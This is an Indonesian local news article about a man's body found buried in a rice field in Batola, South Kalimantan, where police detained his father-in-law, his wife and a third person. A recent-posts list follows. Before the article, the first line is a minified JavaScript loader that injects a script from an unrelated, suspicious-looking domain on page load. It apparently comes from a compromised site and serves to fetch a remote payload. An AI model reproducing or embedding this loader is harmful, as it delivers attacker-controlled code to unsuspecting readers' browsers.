(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Misteri ‘Kuburan’ di Tengah Sawah, Ternyata Korban Sadis Kasus Pembunuhan Keluarga!


KANALKALIMANTAN.COM, MARABAHAN, Sebuah kuburan misterius di kawasan persawan di Handil Derawa, Desa Jelapat Baru, Kecematan Tamban, Batola, ternyata menyimpan sebuah peristiwa pembunuhan sadis. Kasus ini baru terungkap, setelah Polsek Tamban mengungkap dan membongkar kejahatan yang melibatkan hubungan mertua, istri korban, dan korban (menantu).

Sebelumnya, warga setempat digemparkan penemuan mayat di areal persawahan yang terletak sekitar 1,5 km dari kawasan permukiman. Dilihat dari kondisi jenazah yang sudah membengkak, diperkirakan korban sudah dikubur sejak empat hari lalu.

Hasil penelusuran, korban adalah seorang pria berinisial S yang berusia sekitar 30 tahun. Pria malang tersebut tewas diduga menjadi korban pembunuhan sadis yang melibatkan mertua dan istri korban, serta seorang pelaku lain, yang kini ketiganya sudah diamankan oleh polisi.


Kapolsek Tamban, AKP Aunur Rozaq mengatakan, telah terjadi dugaan kasus pembunuhan di wilayah hukumnya. “Ya, diduga korban tewas karena kasus pembunuhan,” katanya, Kamis (5/3/2020).
Guna menungkap kasus ini, polisi pun langsung melakukan evakuasi terhadap jasad korban. Memakan waktu sekitar 2 jam sebelum akhirnya jenazah S bisa diangkat untuk kemudian dilakukan visum ke RSUD Ulin Banjarmasin. “Kita bawa ke RS untuk memastikan apakah korban dikubur setelah dibunuh atau sebelum,” bebernya.

Sejauh ini, kata AKP Aunur Rozaq, polisi telah berhasil mengamankan tiga orang terduga pelaku. Mereka adalah mertua dan istri korban, beserta satu orang lagi. Ketiganya kini sudah diamankan di Mapolres Batola. “Sementara berdasarkan informasi pelaku dan korban memang benar ada ikatan keluarga yaitu mertua dan istri,” tegasnya.

Terkait motif dan latar belakang kasus ini, polisi masih terus mengusut. Namun, terkait ikut diamankannya mertua serta istri korban, menjadi satu keprihatinan tersendiri.

“Kabarnya, istri korban ikut serta membantu proses penguburan karena diancam ayahnya,” kata seorang kakak ipar korban. (Kanalkalimantan.com/rdy)

 

Reporter : Rdy
Editor : Cell

 


Desy Arfianty

Recent Posts

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

7 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

8 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

8 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

9 jam ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

10 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

10 jam ago

This website uses cookies.